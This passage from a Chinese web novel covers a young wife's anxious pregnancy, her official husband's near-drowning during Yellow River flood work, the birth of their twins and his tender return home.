她有些无法控制自己的思维,进而愈发寝食难安。大夫每三五日会来一次,替她把脉,原先还说一切都好,后来也有些神情凝重,叮嘱她少思虑,还开了安神的方子。 李婶熬了药来,她端起才喝一口就哭了出来,太苦太苦,苦得她情绪一下刹不住,如同泄洪,直直哭了许久。 她那些忧思无法同任何人倾诉,左时珩不在,她的负面情绪没了出口,只能憋在心里,于是久了自然生变。 张为是夫人同李婶轮番安慰她许久,以为她是年轻,又是头胎,月份大了害怕是难免的,便以过来人的经验跟她说了许多。 安声哭了一场发泄完就好多了,面对她们反倒难为情起来,觉得自己有些矫情。 赵夫人同她道:“我听我夫君说,高平府那边大河情况严峻,工部正要再派人去,他主动请缨,工部批了,让他过几日动身,你若有要给左大人的信或别的,让我夫给你带去,他必是有办法的。” 安声听罢,既忧又喜,立时铺纸提笔,写了封长信,不过信中她也是报喜不报忧,同他一样,说自己在家一切都好,只是很想他。 写罢又觉不够,寻来软木刻了印章,弃了之前见过的实心的爱心,特意刻了镂空的爱心,涂抹印泥,盖在信尾。 张为是九月离京,带了安声的家书与殷殷期盼远去。 安声心里松快几分。 她意识到自己之前情绪不对,大抵也有些激素影响,有意纾解,如今哭了一场加上寄信有方,状态便好得多,不似原先紧绷。 不过张大人离家不久,赵夫人便来同她告辞,说是她这段时日思考许久,她儿子并非读书的料,走不了入仕这条路,还是回去继承家业得好,所以已与丈夫商量过,还是回崖州去,若是方便,每年进京团圆一回。 如今已是九月中旬,过两月天冷,河水上冻,她路途遥远坐船不便,还是提早出发才好。 安声倍觉离别之憾,虽与赵夫人结交不足半年,但她十分喜欢她的性子,赵夫人也觉得与安声投缘,常来这里与她聊天。 赵夫人见此笑说:“又不是不来了,明年还来的啊,这次过来匆忙,没有准备什么,明年给你俩孩子带点我家乡的特产。” 安声便也笑应,唤穆诗进屋取来她一船型木雕,这是她闲暇刻的,她不太了解古代的船,少了许多细节,于是用了现代船的结构。 “原先就想送你的,没想到你这就要走了,只能现下给你了,还未精雕细琢,技艺粗糙,你不要介意。” “天,你这双手怎么巧成这个样子的?”赵夫人惊叹不已,反复欣赏,双目濯亮,“这船刻得真漂亮,真威风……而且我都没见过这样的船,几层楼高,看起来是很大,有名字吗?” “嗯……游轮?” “这船上没帆,怎么行驶?” “烧柴……”油。 “这么大一艘船,得烧不少柴吧?” 安声实在绷不住笑:“别管柴了,又不是真的船。” “你这脑袋怎么长的,怎么有那么多巧思?所以我说就喜欢跟你聊天呢,这下我都舍不得走了。” 赵夫人捧着木船连连叹气。 她一离京,安声这里又冷清几分,眼见着肚子越来越大,她连行走坐卧都难,胃口也很差,常吃几口就饱,但一会儿又觉得饿。睡前甚至不敢喝太多水,因起夜太麻烦太疲累。 李婶和穆诗日日夜夜陪着她,不离她寸步,她们买了许多布料针线,给尚未出世的岁岁阿序做了好些衣服鞋子包被,李婶的手十分巧,那些花样做的尤其好看。 安声在一边看着打发时间,有时兴之所至,便自己画了可爱小动物的样子给她去绣,效果出其的好,她一想到这些小衣裳穿在自己孩子身上,幸福感与期待感便油然而生。 十月初,她收到了第二封左时珩的家书,信中说,灾情已得到基本控制,许多河道也已疏清,正在处理后续事宜,会于月底尽快赶回。 安声得了此信,缓缓呼了口气,期盼起来。 这些日子京城天气都还不错,入秋后虽下过几场雨,但十月也还不算太冷。 白日里她闲来无事,慢慢收拾起屋子,穆诗跟在她旁边,给她各种帮忙。 她倒不是真的需要收拾,不过找点事做,孕中她不怎么出门,起先还刻些木头,后来人也懒了,进度很慢,除了给赵夫人的那艘船外,不过刻了几只鸟,在梳妆台上摆了一排。 穆诗拿起一只,用抹布擦灰:“夫人,这是麻雀吗?” “我也不知道,刻的时候没去想是什么鸟,你觉得像什么便是什么,若喜欢就拿去玩。” 她忙摇头:“我看看就好了。” 安声从柜子里抱了个木匣出来,放到桌上,里面是些乱七八糟的工具和用剩的木料,还有刻了一半或刻的不满意的小动物。 “穆诗,你喜欢什么?将来我有空刻了送你,不许推辞,只管答话。” 穆诗坐到她旁边,想了想:“大雁吧。” “为什么是大雁呢?” 穆诗说:“秋天总能看见大雁往南飞,我喜欢大雁。” 安声笑应:“好,那就大雁,给你刻一对,大雁生而忠贞,或许你将来也能用上。” 说到此处她想起那位四月出嫁的荣安侯府的常萱小姐,她还不知自己是新科状元的夫人,她也未曾特意说起。 左时珩会试期间,她去到侯府,常萱问她能否替她刻一对木雕,贺她新婚,她欣然应允。 但二人为刻什么而苦恼起来。 一会儿鸳鸯一会儿大雁,又嫌太过寻常。 后来安声灵机一动,说刻一对天鹅送她,两只天鹅头抵着头,弯颈形成一个爱心形状,虽是两只,实为一体。 常萱见到成品十分惊喜,送了她一支珠钗作为回礼。 岁月如流,俯仰之间便已半年。 安声将东西都收在木匣中,放进柜子里。 随后想了想,又从梳妆台的妆奁中取了枚白玉戒出来,这是左时珩与她大婚那日为她戴上的,后来她怀孕就提前取了,如今手指浮肿戴不进去,便让穆诗找了条彩绳,穿上戴在颈间。 她望着镜中自己,手轻轻握上那枚白玉戒,触手微凉,渐渐又侵入体温,变得细润起来,如同左时珩在旁,心下得了寄托,略略安稳。 到了十月,每往后一日,她愈紧张一日,不仅是她,穆诗一家都如临大敌般,生怕她那日就发作了,故而提前请了稳婆在家,以备不时之需。 初四这天,安声早上起来,李婶服侍她洗漱,转身之际不知为何小腿无力踉跄了下,李婶惊得叫了声,眼疾手快将她扶住,但她悬挂的那条白玉戒的彩绳忽然断裂,白玉戒落下,坠地而裂。 安声一怔,心脏几乎停拍。 李婶的叫喊引来穆山穆诗以及稳婆,穆山在门外问情况,穆诗及稳婆都冲了进来,均以为是安声有生产之兆。 安声脸色发白,呆了片刻,才缓神摆手,朝廊下的穆山急道:“穆管家,快去工部衙门打听一下,可有高平府那边最新的消息。” 穆山愣了愣,立即应声,转身就走了。 穆诗将地上的碎成两半的戒指捡起来给她:“夫人。” 安声接了紧握在手,呼吸急促,沉默不语。 李婶与稳婆对视一眼,均看见彼此眼中的担忧,也不敢说话。 安声深呼吸,在搀扶中慢慢坐下,自言自语般道:“没事,没事。”—— 作者有话说:抱歉今天晚了[求求你了][求求你了]今天过生日朋友提了小蛋糕忽然登门,于是聊了很久一起吃了蛋糕,所以耽搁了码字时间[求求你了] 第60章 生产 自黄河夺江入海以来,大量泥沙淤积于下游,尤以原州等几个位于江河交汇处的州县受灾最重,江水倒灌,运道阻塞,但逢雨季,必发水患。 自古以来,主流治河之法是通过多开支河分流水势,减轻主河道压力,以达到冲击减弱的效果,即“分流杀势”。 好处是,水来时势弱,大大减轻堤坝压力,坏处亦很明显,水势过弱流速降低,导致泥沙俱下,严重淤积在河道之中,继而抬高河床水位,轻易漫堤淹田。 丘朝以来,治河的方法也无外乎此,自太永七年的巨大水患后,虽得朝廷重视,但高平府等境内所采用的方法依然是原先一套,不过加大了人力投入,更积极修堤以及组织清理泥沙罢了。 但在天灾面前,收效甚微,这几个州府元气尚未恢复,还要依旧面临连年水患的荼毒,纵然减了赋税,百姓也依旧穷得吃不起饭。 殿试中,太子向贡士们出的便是如何治黄这道题。 左时珩在文章中提出了与主流理念相反的看法,不循分流杀势,而是收紧河道,束水攻沙,借水势冲刷河床,带走淤泥,实现“河槽自深”,再在江河交汇处建造水库,蓄积清水,当黄河水位上涨,便开闸放水,借江河之势冲击入海口的泥沙。 这是个很大胆的方法,也空前复杂。 安和帝曾将这篇文章交给工部,讨论数次,有赞同有反对,一时没有定论。年过花甲的工部尚书苏博苏大人倒是对此相当认可,认为左时珩年轻胆大,思路新奇,又出身自黄区原州,必不是泛泛空谈。 因此,当尚在东宫的安和帝请他去给新科状元主婚时,他毫不犹豫便答应了,他想见一见这个刚弱冠的年轻人,到底有多少真才实学。 他一针见血地提出了几个关于那篇殿试文章的问题,左时珩胸有丘壑,从容不迫,应答如流,可见是长年累月的深切思虑。且这青年态度恭谨,又不卑不亢,身上有份常人少见的沉静,让他实在很满意。 回去后,他同安和帝又有一次书房交流,他直言不讳地提出,想破格荐左时珩到工部任职,安和帝未在当下同意,而是几个月后,在接连接到黄河泛滥的奏疏后,才以此为由,拔擢了左时珩任工部都水清吏司郎中,派他前往高平府。 这是份苦差,重差,也是个烫手山芋,因此,纵是破格提拔,也并未遭到多少廷臣反对。 同样,也无人看好。 正值汛期,左时珩不敢停留,一路奔波,到了高平府境内后,四处忙碌,夙夜不眠,亲自走遍了几大州县,无数堤坝,登高涉水,无险不往。 在了解全貌后,又与当地十几个州县的河道衙门议论商讨,凡有定策,便去实施,一月内组织起数万民夫,堵塞决口,大修新堤,整治清口,以缕堤攻沙,遥堤防洪,格堤加固等,日日夜夜,与天争时。 治水由来不易,连续不停的大雨迅速抬高水位,咆哮的黄河携万吨泥沙犹如黄龙过境,骇人心神,轻易便能夺去性命。 有被卷入狂流的,有被暗涡吞没的,也有因堤防忽然坍塌坠入坑洞而死的,更别说无数役夫聚集在潮湿肮脏的环境下,粪水横流,蚊蝇滋生,吃不好,睡不够,每日都有人倒下。 左时珩虽有官身,却并不坐帐指挥,而是同役夫们一起,在最前方同吃同住,以及时解决各种突发状况。 十月初四一早,雨势减弱,起初几位官员议定再等几日,等彻底雨停风停,水势减缓,再派人探测水深,但形势严峻,天气无法预测,若不及早动工,此处再一决口,便又要毁田千亩,但风高浪急,无人敢去。 于是左时珩亲自驾舟前往,以探水杆测了几处水深,至最后一处时,原先加固堤坝的一根滚木断裂坠河,被水势裹挟而来,直直将他的小舟撞翻,左时珩不慎落水,几乎瞬间就被浑浊的河水吞没,不见踪迹。 同行官员在岸上吓得失声,片刻后才惊叫起来,匆忙派人搜救,驾船的,打捞的,沿河搜寻的,原本几十个人,听说是左大人落水,自发救人的民众很快达数百上千之多,在半日后于下游一处河滩将左时珩找到。 他幸而本身水性极好,又抓住一块浮木,在一狭口转弯处被冲上河滩,半身淹在淤泥里,昏死过去,还好被人及时寻到。 河中碎石,木刺,树枝,瓦片等数不胜数,皆同泥沙势不可挡地冲下,左时珩虽被救回,却受伤不浅,遍身淤青不说,尤以背上从肩胛骨斜至后腰那一道划伤最重,深至两三公分,血流不止。 三四个大夫被请来共同诊治,先用清水反复冲洗伤口,再用甘草黄柏等熬的药水继续冲洗,确保伤口中没有异物残留,用刀剔去被水浸烂的皮肉,而后以蚕丝煮沸,将伤口牵引缝合起来,再敷上厚厚一层金疮止血药,用布带缠绕固定。 这个过程中,左时珩始终昏迷,但对疼痛有强烈反应,脸色苍白,肌肉抽搐战栗,汗如雨下。 大夫不敢歇,始终观察病人情况,到了夜间,果然发起高热,气氛顿时凝重许多,对大夫来说,最担心的不是失血过多,而是火毒攻心,伤后发热往往才是生死关口。 于是几人商议一番,急忙开了方子抓药,连夜熬制清热解毒的汤药,给他生灌了下去。 其他官员过来问情况,大夫叹道:“尚不能肯定,要再等一两日,看看烧退不退,左大人虽年轻,但这段时日不眠不休太过疲累,恢复起来只怕也没那么快。” 官员亦摇头:“这差事不是一般人能干的,到底年轻,有热血担当,意气风发啊。” 张为是与左时珩不在一处,听说了此事,连夜赶来,见左时珩昏睡在床,意识不清,不由心灼,急忙俯身轻拍他肩:“左大人,你要挺过去啊,你夫人和未出世的孩子还在家里等你呢。” …… 安声半夜惊醒,心口发闷再也睡不着。 穆诗在旁边小床上躺着,立即便被动静惊醒,爬起来问:“夫人起夜吗?” 安声摇头,被搀扶坐起来,深呼吸几次,缓了许久,仍无法平复飞快的心跳,肚子里的孩子似乎也有所感,不安地动起来。 白日里她让穆山去工部衙门打听消息,什么也没问到,实在心焦,惦记着此事,到了夜里勉强才睡下。 这会儿睡不着,十月的天已经转凉,她倒觉得燥热心烦,不由从下了床,出了屋,站到廊下去看月亮。 缺月挂疏桐,漏断人初静。 谁见幽人独往来,缥缈孤鸿影。 她心间一阵渺茫,怪道古人爱借月寄思,她得不到左时珩的音讯,此刻也唯有这一轮弯月共沐了。 “夫人,小心凉风。”穆诗跟着拿了斗篷出来。 安声叹了口气,将斗篷接过,一时未披上,心里闷得慌,又说不出,好歹凉意侵人,反倒让她舒适一些。 “穆诗,明日陪我出趟门吧。” 安声想要出门,家里人立即准备起来,穆山去租了一辆宽敞马车,李婶在里头铺了厚褥子与软枕。 最后是穆山驾车,李婶、穆诗、稳婆一齐陪同,前往天外山。 安声有些哭笑不得,早知会这般兴师动众,她便不去了。 不过她的确许久没出门,总闷着也难受,李婶等人虽不理解她为何要去天外山,但夫人愿意透口气散散心是大好事,天外山又在外城,不用离京,路上不算太过颠簸,马车慢慢走的话,不上山一日来回完全足够。 安声的确没打算上山,以她如今情况,上个楼梯都累,何况爬山,她只是心里乱,又不知能做什么。 马车慢慢悠悠终于用了半日才抵达山下,她没下车,只是撩起帘子望着这座秀美之地,山下看不见来客寺,亦不知这十年前那奇石上又有多少留痕。 待她生产完,必是要来的。 她的一切未解之谜,皆系于此处。 “回吧。”她轻声抱歉,“实在麻烦大家。” 穆山将马车掉了个头,又慢慢悠悠往回去,未上大道,人不多,安声也没有放下帘子,只望着窗外发了会儿呆。 两辆马车迎面而来,与他们的马车相对行驶,当先那辆车马上,一只素白纤细的手掀了帘,露出张少女清丽的脸庞,好奇地向她这边探首。 四目相对时,安声愣了愣,脱口喊:“林雪!” 那少女“咦”了声,还要再看,马车已然驶过。 车内母亲问:“谁家夫人?怎么好像认得你?” 林雪想了想,也觉得疑惑不解:“我不认识她呀,真奇怪。” 那马车上也无名号标志,不像达官显贵。 安声这边也愣了片刻才回过神,想到安和九年的好友,与今日青春懵懂之状重合,不由浅笑。 李婶问:“是夫人认识的哪家小姐吗?要不要回去打个招呼?” 安声点头又摇头:“不必,先回吧,我累了。” …… 安声自那日玉碎后,始终没等到任何消息,纵然她不断用将来已知事实说服自己,但仍难遏担忧,乃至心急如焚。 工部衙门那边非常人可进,可除了张为是张大人,她又不知找何人帮忙,思来想去,她便让穆山去了工部尚书苏大人的宅邸,但去了几次每每失望而归。 时如窗间过马,如此半月,苏宅总算派人送了消息来。 那日是十月十九,穆山接了信笺一封,没有打开,转递安声,安声打开一看,上面乃是摘抄的一段高平府邸报内容。 说的正是左时珩意外落水受伤,危在旦夕一事。 安声杏眼圆睁,难以置信,双手颤抖不已,几乎脱力,连纸都拿不住,一瞬腹痛阵阵,有暖流汩汩自腿间而下,湿了衣裤。 她托着肚子,冷汗直流,低低喊了几声。 穆诗先跑来,又忙大叫李婶,李婶慌得不行,奔去生拉硬拽了尚在午睡的稳婆进屋,众人全都忙乱起来。 卧房门窗被紧闭上,不透一丝风进来,安声半坐在床,身下垫着旧褥子,李婶在旁掌灯,稳婆满头大汗,不断探看她的情况,指导她用力。 安声痛的喘息不已,身上衣裳都湿透了,从有规律的宫缩阵痛到剧烈的撕扯感,让她意识一会儿清醒一会儿模糊。 穆山在外烧着热水等候,急得团团转,不由连连求神拜佛,期盼夫人一家平安,期盼大人早些归来。 安声怕吓到穆诗,不让她靠太近,她便只帮忙做些小事,一盆盆的热水端进去,又一盆盆染红的血水端出来,又见稳婆拿了剪刀在烛焰上烧灼,听一向温柔爱笑的夫人撕心裂肺地呼喊,退在帐外等的她也不禁哭的不能自已。 如此半日折磨,才终于听稳婆惊喜道:“出来了出来了,少爷先出来了!” 李婶泪如泉涌,给安声擦汗,握住她的手:“夫人加把劲儿,再加把劲儿。” 安声双眼迷离,只觉精疲力尽,昏昏沉沉地问:“左时珩呢?左时珩还好吗?” 李婶点头不迭:“大人马上就回来了,在路上了,夫人你再坚持一下,马上就能见到大人了。” 安声听到这话笑了笑,才又想起那封邸报,不禁眉头一皱,一阵钻心的疼让她闷哼出声,泪与汗齐下,倒在靠枕上一个字也说不出了。 李婶急得直喊,忽听一声响亮啼哭,自朦胧中响起,将她神思重新扯回。 稳婆抱了孩子放在她旁边,笑道:“夫人有喜,少爷一切都好,还有位千金呢,再用力,快了快了。” “阿序……”安声看不清,只用脸蹭了蹭孩子温热柔软的脸,再次振奋精神,积蓄力气。 从中午直到深夜,两个麟儿终于都平安落地,安声只来得及匆匆看了岁岁一眼,便彻底没了气力,沉沉睡去。 这一睡就是许久,直到第二日傍晚才醒,整具躯壳宛如灌了铅,重得半点动弹不得,才要再继续睡,便有一个轻柔的吻落在她眼皮上。 “阿声,先吃些东西再睡。” 安声怔愣,渐渐清醒几分,掀开发沉的眸:“……左时珩?” “嗯,我在这里。”左时珩收紧怀抱,嗓音沙哑温柔,“我回来了,别怕。”—— 作者有话说:治理黄河部分参考的是明代水利专家潘季驯《 》 60-70 第61章 柔情 安声眨了眨眼,直到那模糊容颜在眸中渐渐清晰,又迅速被朦胧雾气遮敛。 她不得不抬手,用手指去细致描摹他眉眼。 “是……是真的?” “是真的。”左时珩语气满是心疼,握住她手指亲了亲,“我赶回来了。” 安声一下埋进他颈窝,呜咽几声,而后收不住,放声大哭起来。 分不清是思念、委屈、害怕还是担忧,又或者都有,她无数情绪压抑许久,终是在这一刻,在他面前,有了宣泄出口。 左时珩将她圈进怀中,一下一下安抚,心尖发疼,无法言说。 直等到安声哭累了,声音渐渐歇下来,一双大而明亮的杏眸仍一颗颗往外涌着泪。 左时珩抱她坐起,让她窝在胸前,拍着她的后心替她顺气。 “左时珩……” “嗯。” “左时珩,我好想你我好想你……”安声抽噎不停,用力抱着他,双手紧抓他的衣裳。 “我知道。”左时珩低头吻她的发,温声低哄,“我也是。” “睡了这么久,又哭了这么久,先喝些水。” 他欲起身。 “不要走。”安声急急抓住他手。 他拂去她眼角的泪,将一个软枕塞在她怀里让她抱着。 “我不走,就在屋里。” 安声这才放手,抱着枕头看他。 左时珩到外间拉开房门,同外面一直等着的人吩咐几句,很快便端着一壶热茶回来。 他倒了一杯,吹得不烫,才回到床边坐下:“来,小口喝。” 安声像没有骨头般,他一靠近便倚在他身上:“你喂我。” 左时珩笑了声,扶着她,慢慢喂她。 安声原先还不觉得,如今乍饮一口,竟有些久旱逢甘霖之感,十分口渴,要接过来大口喝,偏被左时珩阻止。 她瞪他,他反而笑,将杯子拿远:“说了让我喂的,不许抵赖。” “但是我好渴。” “所以才要慢慢喝。” 安声无奈顺从,小口小口喝完了一杯,他又去倒了一杯,直到喝完三杯温水才缓解了些,身子也发暖。 左时珩摸摸她的发:“我让李婶将粥送来,吃完若觉得困,再睡一会儿。” “左时珩,我想洗澡,我出了好多汗,身上不舒服。” 李婶与稳婆都说产妇切忌月子中洗澡洗头,容易受风头痛,留下病症。 左时珩皱眉,没有立即应声。 “左时珩,我要洗澡。”安声牵他的手晃了晃,“我要洗澡。” 左时珩顿了顿,温声道:“好,我来安排,先吃饭。” 不一会儿,李婶进来,端了一碗肉糜青菜粥,一盅熬得浓浓的老母鸡汤,香味扑鼻。 又到床边朝安声笑道:“夫人有福啊,少爷小姐不知长得多好多漂亮,过会儿可要抱来给夫人看看?” 安声懵了懵,低头看向自己肚子,又伸手摸了摸,才后知后觉,她已顺利生完了。 她居然能把这事都忘了? 对上左时珩一双笑眼,安声喊:“完了左时珩,我好像变傻了。” 左时珩转头低笑,李婶则劝慰:“都是这样的,一孕傻三年。” 安声皱眉:“我不要傻。” 左时珩又轻笑几声才道:“无妨,只是太累睡太久了而已,孩子都睡着,过会儿我去抱来。” 待李婶走了,左时珩端了粥过来喂她,安声这会儿情绪已矫情完了,便有些赧然:“给我,我自己吃吧。” 左时珩认真道:“夫君照顾妻子是天经地义的事,怎么还不好意思。” 安声想了想,笑道:“好奇怪,方才听你们说两个孩子,我才忽然觉得自己成了母亲,好像不该再像小孩那样任性。” “没有这样的事,阿声就是阿声。”左时珩舀了一勺粥递近,“张嘴。” 安声就着他的手吃了一口,蓦然惊道:“完了左时珩,我失去味觉了。” 左时珩忍俊不禁:“没有放盐而已,肉香也尝不出不成?” 安声一咂摸,除了太淡之外,其他味道倒是正常。 她一下放了心,又抗议起来:“怎能不放盐呢?不好吃,十分不好吃。” “几分?” “……四分。” “那已及格,我就说自己厨艺不至于退步至此。” “是你做的?” “我教了李婶做的。”他边喂她边道,“你睡着,我不舍得走开,只能尽量吩咐他们做事。” 安声吃着越觉得好吃,一时胃口大动,全吃完了,还想要。 左时珩又端来鸡汤喂她,照例没有放盐,但加了许多红枣枸杞等补气血之物,并不显得淡。 “不能贪多,要少食多餐,逐渐回到原先的食量,晚些时候会再给你准备些宵夜。” “好吧好吧。”安声喝完鸡汤,朝他伸手,“现在可以洗澡了吗?” 左时珩点了点她脑袋:“才吃的东西,略缓一缓,我去准备。” 热水是一直备着的,院中晾晒了好些床单被褥,有些染了脏的则一并拿去烧了,围着主卧院墙还洒了生石灰消毒,以防风邪入侵。 左时珩到耳房中看过两个孩子,小小的身子被柔软大红包被裹着,乖乖睡在摇篮中,他望着,眼底柔情几乎要溢出来。 奶娘向他说起两个孩子有多乖,多好哄之类的话,他点头笑道:“辛苦夫人您,晚些时候喂过,我再来抱走。” 原先安声是不想请奶娘的,她想自己亲喂,但她生完孩子后太过虚弱,奶水不多,大夫过来看过,说若要亲喂,当日日汤药进益,加之各种猪蹄汤母鸡汤受补才可,否则于母体有损。 左时珩听罢立即差人去请了奶娘,不过此事还未告知于她。 净室的浴桶里放了热水,热气氤氲满屋,左时珩往其中加入凉水,直到水温正好,才去抱了安声进来。 安声郁闷道:“我的肚子怎么还大大的。” 左时珩拧了毛巾,细致给她擦拭身体:“别担心,过几日就会慢慢恢复的,不过还须受几日罪,下红并不轻松。” 安声搂住他脖子,嗅着他颈侧潮湿水汽与微微的香。 “左时珩,你怎么什么都知道啊?” 左时珩叹了口气,抚摸她柔润细腻的肩背,满眼愧疚。 知道的虽多,能做的却少,恨不能替她受罪才好。 洗好抱了安声出来,后窗下已置了个炭盆,烘得屋里暖融融的,十月的天如同倒回了夏季。 他仔细给安声擦干了发,让她舒适地拥着被子靠在床头,在她额上轻轻一吻:“我现在去抱孩子过来。” 天色不知何时已彻底黑了,但屋内点着灯,光线柔和明亮,又暖暖的,安声才洗完澡,窝在被子里,除了**略有些不大舒适外,觉得一切都很好,真是令人幸福的飘飘然。 很快,屋外响起脚步声,左时珩与李婶分别抱了孩子进来,李婶满脸喜气,将阿序交到她怀里,教她怎么抱,或许才喝了奶有些闹觉,骤然离了怀,阿序忽然哭起来,引得左时珩怀中的岁岁也跟着哭。 安声手足无措,望向左时珩,他还算从容,不过也有些紧张,于是两人都看向李婶,李婶哭笑不得,指导二人。 “嗨呀快抱着拍一拍哄一哄啊,听听爹娘的声音就好了。” 两人立即照做,不过均有些手忙脚乱,怎么抱都觉得紧张,只觉怀里的孩子小小的软软的,猫儿一样,稍一用力就会受伤似的。 不过到底是有用的,孩子渐渐安静下来,小手攥紧拳头挥了挥,哼哼唧唧个不停。 安声抱着阿序亲了亲,仿佛如何都看不够,但想到日后两个孩子的漂亮模样,她还是忍不住问左时珩:“为什么刚生出来这么丑?” 左时珩道:“分明十分可爱,像你。” “这么丑哪里像我啊?这话须得张开了再说。”安声想了想,笑道,“不过岁岁眉眼间还是会更像你。” 她将孩子放在枕边,左时珩便也将岁岁放过去,安声伸手将儿女虚揽入怀,爱怜不已。 “终于见到了我最爱的岁岁宝宝,阿序宝宝。” 左时珩亦坐下,俯身展臂,将母子三人一同轻拥住,唇角弯起。 “方才还说他们丑呢,还好他们小,听不懂。” 安声笑道:“我是说实话,但母不嫌儿丑,这不妨碍我爱他们,况且他们娘亲美丽,父亲英俊,长大只会更好看。” “希望这话他们听懂了。” 左时珩笑了笑,将安声滑落的发捋至耳后,轻吻她脸颊。 安声转头,用唇回应他。 气息轻触片刻,安声想起一事,忙道:“那岁岁和阿序日后跟我睡,左大人就不能上床了。” “决计不可。”左时珩毫不犹豫。 说罢轻咳了声,脸色微红:“我是说,孩子还小,夜里需要喂几次奶,还是跟乳母睡更合适。” 乳母?安声愣了愣。 左时珩便温言软语将事情与她说了一遍。 安声不知怎么,眼眶微红:“我想自己喂。” 左时珩在这事上态度显得坚决,不过语气依旧是温和的。 “阿声,为了你的身体着想,我不能同意。” 安声从他怀里退出来,把头蒙到被子底下不说话。 左时珩蹙眉,眼底心疼泛滥着,叹了口气。 片刻,他凑近向岁岁与阿序柔声道:“爹爹很爱你们,但爹爹更爱你们娘亲,所以不能把娘亲给你们,等你们长大了,若是不高兴,可以找爹爹算账。” 被子底下动了动,传出闷闷笑声。 左时珩心下松了松,隔着被子轻轻拍了拍:“我同孩子说话,怎么有人偷听呢。” 安声露出一双灼灼明眸:“左时珩,我是光明正大的听。” “嗯,现在倒是光明正大了。” “刚才也是光明正大。” “好,刚才也是光明正大。” 安声被他语气逗笑,抓住他的手:“好吧,我想了想,若是在岁岁阿序与左时珩之间,只能选一个陪睡的话,我选左时珩。” “那我现在送他们回去。”左时珩将阿序先抱起,一本正经对孩子说,“因为爹爹赢了。” 安声愈发笑得不能自已,纵然成了父亲,左时珩也依旧有孩子气的一面,让她心里莫名出现的压力消减了许多。 将孩子送去后,左时珩洗漱一番便也上了床,将安声搂在怀里:“累么?” 安声摇头,说睡得太久,一时没有睡意。 又与他许久未见,想跟他说说话。 左时珩颔首:“好。” 安声问他何时回来的。 他说昨日夜里,在岁岁出生前,他便已赶回,只是一身风尘,不便进屋,又值安声生育关键时刻,他忽然出现,怕刺激到她,便沉默立在屋外,直等到岁岁顺利出生。 随后他迅速洗了澡换了衣裳,才进屋去看她。 许久未见妻子,分开这段日子,他亦是思念蚀骨,睡不安寝,骤然得见,她这般虚弱昏睡,他实在是心疼得无以复加,颤抖着将她拥入怀中,哽咽不止。 他一夜未睡,反复向大夫和稳婆确认了安声的情况,然后去看了两个孩子,才又回到安声身边,陪她直到天明。 天亮后,他匆匆去了趟工部衙门述职,又匆匆回来,勉强进了点食水,安声未醒,他始终不能放心,半点胃口也无,直到她终于在他怀里醒来,他才像是活了一般。 安声想起那封邸报内容,忙向他问起。 他摇头,温声道:“无妨,的确出了点小意外,不过你看我如今不是好好的在你面前吗?” 真是小意外吗? 安声有些不信。 她坐起来,抓了他手,撸起衣袖,好几道淤青划伤立时呈现在眼前,她立即皱眉:“这样还是好好的吗?” 左时珩握住她手主动去摸伤口:“已经结痂痊愈了,不过看着吓人罢了。” 安声摸了摸,仍不放心:“你将上衣都脱了我检查一番。” 这些划伤纵然已经好了,可当时也必然不是小事,何况如果只是小伤,为何能写入邸报,还说“意外落水,危在旦夕”。 左时珩微不可察地皱了下眉,并未拒绝,而是主动将领口拨下,袒露在她面前,笑道:“你瞧,真没有什么。” 安声起先放松警惕,但转念一想,依旧不放心,索性将他衣裳系绳解了,从锁骨到小腹全都展露无疑。 与离京前相比,他玉白的肌肤呈现小麦色,添了好几处划伤,不过基本都已结痂,留下些淤青还没完全消散。 “放心了?”左时珩拢起衣裳,轻轻一笑,“落水是真事,黄河水深浑浊,众人都吓到了,故而才说得严重,但我水性不错,并无大碍。” “我不信。” 安声攫住他手腕,目光灼灼,“左时珩,你转过去我看看。” 左时珩僵了僵,又神色如常,开起玩笑:“不如我全脱了算了,才叫你放心。” “那你脱。” “……” 他耳尖发红,低唤:“阿声……” 安声眼神倔强,与他对视,须臾,他败下阵来,无奈叹了声。 “后背虽有道伤,但也已好了,只是看着吓人,你莫要害怕。” 他转过身。 那道从肩胛骨贯穿后腰的伤口,就这般映入安声眼帘。 伤口边缘清晰可见被蚕丝缝了,如同一条很长的蜈蚣静静趴着,伤口内有从里往外生长的新肉,粉粉的,同伤口边缘的褐色结痂形成鲜明对比,显得有些狰狞。 安声眼中大雾弥漫,泪珠倏地坠落。 左时珩当即将衣裳穿好,遮了那道伤,转身将她揽入怀中安抚:“已经好了,一点也不疼,不值得你哭它,你这般伤心,才让我心疼。” 第62章 读信 安声是知道左时珩身上有许多伤痕的,但安和九年的她,未曾参与过他曾经的十年,故而那些深深浅浅大大小小的伤痕,被她看见时,都是早已痊愈的了,远比不上眼前这道巨大伤痕的直观冲击力。 他说得风轻云淡,却教她如何不心疼。 “是……初四那日吗?”她颤声问。 “嗯,倒也因祸得福,歇了两日,就得到回京诏令了,便一路往回赶,还好脚程快,若再晚几日,怎舍得你眼下这般情况我不能陪在左右。” “这怎么能叫因祸得福?……我宁可不要这个福,也不要你遇这个祸。” “好,那便换个说法,是逢凶化吉,虚惊一场。” “左时珩……” 安声抿了抿唇,再度扑进他怀,抽噎不止。 左时珩心底叹了声,眉头蹙着心疼与歉疚,怀孕到生产的安声在担心受怕中捱过几个月,情绪显然要比之前起伏大得多,更让他庆幸自己及时赶了回来,又亏欠没能更早。 他既不愿阻止妻子倾诉委屈,也不愿她月子里常哭,于身体有损,只得柔声低哄,给予安慰。 “我明日去找个医馆将线拆了。”他语气轻松,“可惜我眼睛和双手没能长到背后去,只能靠阿声给我上药了。” 安声伏在他肩头,哭得都有些累了,声音携着浓浓的鼻音。 “嗯……我要亲眼看着它慢慢好起来。” “好。” 安声抬头看他,眸底满是嗔意:“但我很不高兴,你竟想瞒我这事,我们是夫妻,难道你能瞒得住吗?” 左时珩浅笑:“倒也没想瞒你,只是如今伤口还未长好,担心你见了害怕,你瞧,这不是吓哭了?” 见她双眼红肿,小兔子一样,心疼之余又觉得甚为可爱,不禁捧着她脸亲吻,吻过她眉眼,吻去她眼尾泪痕,再落于那柔软温润的唇瓣上。 “我又不是被吓哭的。” “嗯,那胆子很大,值得表扬。” 安声又好气又好笑,拨开他衣襟想咬他一口,最终没舍得,只是轻啃了下。 左时珩抱着她躺下,摸着她的发:“好了,出气了,该睡了。” 安声虽有些累,却一下睡不着。 “左时珩,你给我念书吧,随便念些什么。” “随便念……嗯,我想想……” 他将一只手枕于脑后,沉吟片刻,唇畔扬起淡淡笑意。 “亲爱的夫君,见字如晤,家里一切都好,我和宝宝也很好,你在外不必忧心,要顾全自己。今日天气晴朗,阳光明媚,我在廊下晒了半个时辰的太阳,原想小憩片刻,却怎么都睡不着,因为满脑子都是你。” 